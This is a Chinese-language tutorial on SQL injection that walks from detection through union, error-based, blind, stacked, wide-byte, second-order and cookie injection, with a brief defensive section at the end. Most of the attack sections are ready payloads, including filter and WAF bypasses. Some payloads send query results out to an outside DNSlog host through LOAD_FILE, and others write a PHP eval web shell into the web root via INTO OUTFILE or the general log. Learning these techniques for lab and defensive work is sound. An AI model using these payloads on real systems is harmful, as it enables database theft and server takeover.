SQL注入从入门到进阶:全方位总结与实战技巧
一、SQL注入基础
1.1 什么是SQL注入
SQL注入是指攻击者通过在Web表单输入或URL参数中插入恶意的SQL语句,改变后台SQL语句的语义,从而执行非预期的数据库操作。由于后端程序对用户输入过滤不严,攻击者可以获取、篡改甚至删除数据库中的数据,严重时可直接控制服务器。
1.2 SQL注入的危害
-
数据库敏感信息泄露(用户数据、密码、商业机密)
-
绕过认证(万能密码)
-
执行系统命令(若数据库支持)
-
写入Webshell,获取服务器权限
二、判断是否存在SQL注入
2.1 单引号测试法
在参数后添加单引号,如:
http://example.com/page.php?id=1'
若页面返回错误(如MySQL语法错误),则说明可能存在SQL注入。因为单引号破坏了原始SQL语句的引号平衡,导致数据库报错。
2.2 数字型注入判断
当参数为数字时,原始SQL大致为:SELECT * FROM table WHERE id = $id
输入 id=1 and 1=1,页面正常。
输入 id=1 and 1=2,页面异常(或返回不同内容)。
若两次结果不同,说明存在数字型注入。
2.3 字符型注入判断
当参数为字符时,原始SQL大致为:SELECT * FROM table WHERE id = '$id'
输入 id=1' and '1'='1,页面正常。
输入 id=1' and '1'='2,页面异常。
则说明存在字符型注入,且闭合方式为单引号。
2.4 探索闭合方式
有时开发者会使用不同的引号组合,如 "$id"、('$id')、("$id") 等。可以通过尝试以下payload确定闭合方式:
1' --+
1" --+
1') --+
1") --+
1')) --+
若某种方式使页面正常,则找到了正确的闭合符。
三、SQL注入类型详解
3.1 联合查询注入(Union注入)
联合查询利用 UNION 关键字将额外查询的结果拼接到原结果集中。前提是必须知道当前查询的字段数。
3.1.1 判断字段数
使用 ORDER BY 逐步增加数字,直到页面报错:
?id=1' ORDER BY 3 --+ // 正常
?id=1' ORDER BY 4 --+ // 报错,说明字段数为3
3.1.2 确定显示位
让前一个查询结果为空(如 id=-1),使联合查询的结果显示在页面上:
?id=-1' UNION SELECT 1,2,3 --+
页面中显示的数字即为可利用的显示位。
3.1.3 获取数据库信息
# 当前数据库名和版本
?id=-1' UNION SELECT 1,database(),version() --+
# 获取所有表名
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
# 获取指定表的字段名
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
# 获取数据
?id=-1' UNION SELECT 1,2,group_concat(username,0x7e,password) FROM users --+
注意:UNION 有一个特性:如果查询不到数据,会构建虚拟数据,这在某些绕过场景中可以利用。
3.2 报错注入
当页面没有直接显示查询结果,但会输出数据库错误信息时,可使用报错注入。常用函数:updatexml()、extractvalue()、floor() 等。
# 爆库
?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+
# 爆表
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) --+
# 爆字段
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'),0x7e),1) --+
# 爆数据(需使用子查询绕过限制)
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM (SELECT username FROM users) a),0x7e),1) --+
3.3 布尔盲注
当页面无报错信息,也不显示数据,但可以根据页面返回的“真”或“假”来判断条件是否成立。
# 判断数据库长度
?id=1' AND LENGTH(database())=8 --+
# 逐字符猜解数据库名
?id=1' AND SUBSTR(database(),1,1)='s' --+
# 猜表个数
?id=1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())=4 --+
# 猜表名长度
?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6 --+
# 猜表名字符
?id=1' AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='e' --+
3.4 时间盲注
当页面没有任何变化(无论真假都返回相同内容)时,可利用时间延迟函数判断条件。
# 判断数据库长度
?id=1' AND IF(LENGTH(database())=8,SLEEP(5),1) --+
# 判断字符
?id=1' AND IF(SUBSTR(database(),1,1)='s',SLEEP(5),1) --+
# 也可用ASCII比较
?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,SLEEP(5),1) --+
3.5 堆叠注入
堆叠注入允许一次执行多条SQL语句,用分号 ; 隔开。但需要后端使用支持多语句的数据库函数(如PHP的 mysqli_multi_query())。
触发条件:
-
存在SQL注入漏洞
-
未过滤分号
-
数据库连接支持多语句执行
常用命令:
# 查看所有数据库
1; SHOW DATABASES;
# 查看当前库所有表
1; SHOW TABLES;
# 查看某表结构
1; SHOW COLUMNS FROM users;
# 若SELECT被过滤,可使用 HANDLER 命令读取数据
0'; HANDLER `users` OPEN; HANDLER `users` READ FIRST;
3.6 DNSlog盲注
当目标完全无回显,且存在防火墙封IP等限制时,可借助DNSlog平台获取数据。原理是利用 load_file() 函数发起一个UNC路径请求,域名部分拼接查询结果,DNSlog平台会记录请求的域名,从而得到数据。
条件:
-
MySQL配置
secure_file_priv为空(允许导出文件) -
拥有可用的DNSlog平台(如 http://ceye.io 或 http://www.dnslog.cn )
payload示例:
# 爆数据库名
?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxxx.ceye.io\\sql')) --+
# 爆表名(注意子查询只能返回一行,需配合LIMIT)
?id=1' AND LOAD_FILE(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),'.xxxx.ceye.io\\sql')) --+
3.7 宽字节注入
当数据库使用GBK编码时,反斜杠 \ 的ASCII码为 %5c,而 %df%5c 会被解释成一个中文字符,导致转义失效。常用于绕过 addslashes() 或 magic_quotes_gpc。
# 用 %df' 代替单引号
?id=1%df' UNION SELECT 1,2,3 --+
后续操作与联合查询一致,只需保持 %df' 作为闭合符。
3.8 二次注入
二次注入是指攻击者将恶意数据存入数据库,这些数据在入库时被转义或处理,但当它们被取出拼接到其他SQL语句中时,触发注入。
经典场景:注册用户名为 admin'#,当修改密码时,后端可能执行:
UPDATE users SET password='123' WHERE username='admin'#';
# 注释掉后面的条件,实际修改的是 admin 用户的密码,从而实现越权。
3.9 Cookie注入
Cookie注入是指注入点位于Cookie参数中。许多程序只对GET/POST参数进行过滤,而忽略Cookie。
测试方法:使用浏览器开发者工具或Burp Suite修改Cookie值,加上单引号看是否报错。
利用方式:与GET注入类似,但需要将payload进行URL编码(Cookie中通常需要编码特殊字符)。
Cookie: id=1' AND 1=1 --+
3.10 OA注入
OA(办公自动化)系统通常包含大量交互功能,如用户登录、表单提交、搜索框、工作流等,这些都是潜在的注入点。
常见注入点:
-
登录框(用户名、密码)
-
搜索框(关键字搜索)
-
数据导入/导出功能
-
URL参数(如
?id=,?type=)
测试思路:先通过抓包观察参数位置,然后按照常规注入手法测试。OA系统往往业务逻辑复杂,需要结合具体功能构造闭合方式。
四、高级利用与权限提升
4.1 通过文件写入获取Webshell
若当前数据库用户拥有 FILE 权限且 secure_file_priv 为空,可以使用 INTO OUTFILE 写入一句话木马。
条件:
-
知道网站绝对路径
-
有写入权限
-
secure_file_priv为空(可通过show variables like 'secure_file_priv'查看)
payload:
?id=-1' UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>',3 INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php' --+
4.2 通过phpMyAdmin写入Webshell
如果目标安装了phpMyAdmin且已登录,可以尝试以下方法:
方法一:直接 INTO OUTFILE
在phpMyAdmin的SQL执行框中输入:
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell2.php'
方法二:修改全局日志写木马
当 secure_file_priv 不为空或没有权限时,可尝试修改MySQL日志路径。
# 查看日志配置
SHOW VARIABLES LIKE '%general%';
# 开启通用查询日志
SET global general_log = ON;
# 修改日志路径为Web目录下的php文件
SET global general_log_file = 'D:/phpstudy_pro/WWW/shell_log.php';
# 执行查询,写入一句话
SELECT '<?php @eval($_POST["cmd"]);?>';
之后访问 shell_log.php,即可用蚁剑连接。
注意:此方法要求当前用户有修改全局变量的权限(通常需要root)。
五、常见过滤绕过技巧
5.1 关键字过滤绕过
-
双写:
or→oorr,过滤中间or后还剩or。 -
大小写混合:
SeLeCt。 -
注释符插入:
sel/**/ect。
5.2 逻辑运算符替代
-
AND→&& -
OR→|| -
注意URL编码:
&&在URL中需写成%26%26
5.3 引号过滤绕过
-
使用十六进制表示字符串:
users→0x7573657273
5.4 空格过滤绕过
-
使用注释
/**/代替空格 -
使用括号
(分隔关键词,如SELECT(table_name)FROM...
5.5 参数污染(HPP)
当后端只过滤第一个参数,但实际接收最后一个参数时,可传入两个同名参数:
?id=1&id=-1' UNION SELECT 1,2,database() --+
第一个 id=1 骗过WAF,第二个注入语句被执行。
六、总结与防御
6.1 使用参数化查询
最有效的防御方式是使用预处理语句(如PDO、MySQLi的绑定参数),将SQL结构与数据分离。
6.2 输入验证与过滤
-
对整数参数使用
intval()强制转换 -
对字符串进行转义(但仅依赖转义不够,需配合其他措施)
-
使用白名单验证输入内容
6.3 最小权限原则
数据库连接账户只授予必要权限,避免使用 FILE、SUPER 等高危权限。
6.4 安全配置
-
关闭错误信息显示(
display_errors=Off) -
设置
secure_file_priv为指定目录或NULL -
定期更新数据库和中间件补丁
6.5 定期安全审计
使用自动化工具(如SQLMap)扫描,结合手动测试,发现潜在漏洞并及时修复。
参考资料:个人学习笔记及网络公开资源,部分payload示例来自SQLi-Labs实验环境。
更多推荐
所有评论(0)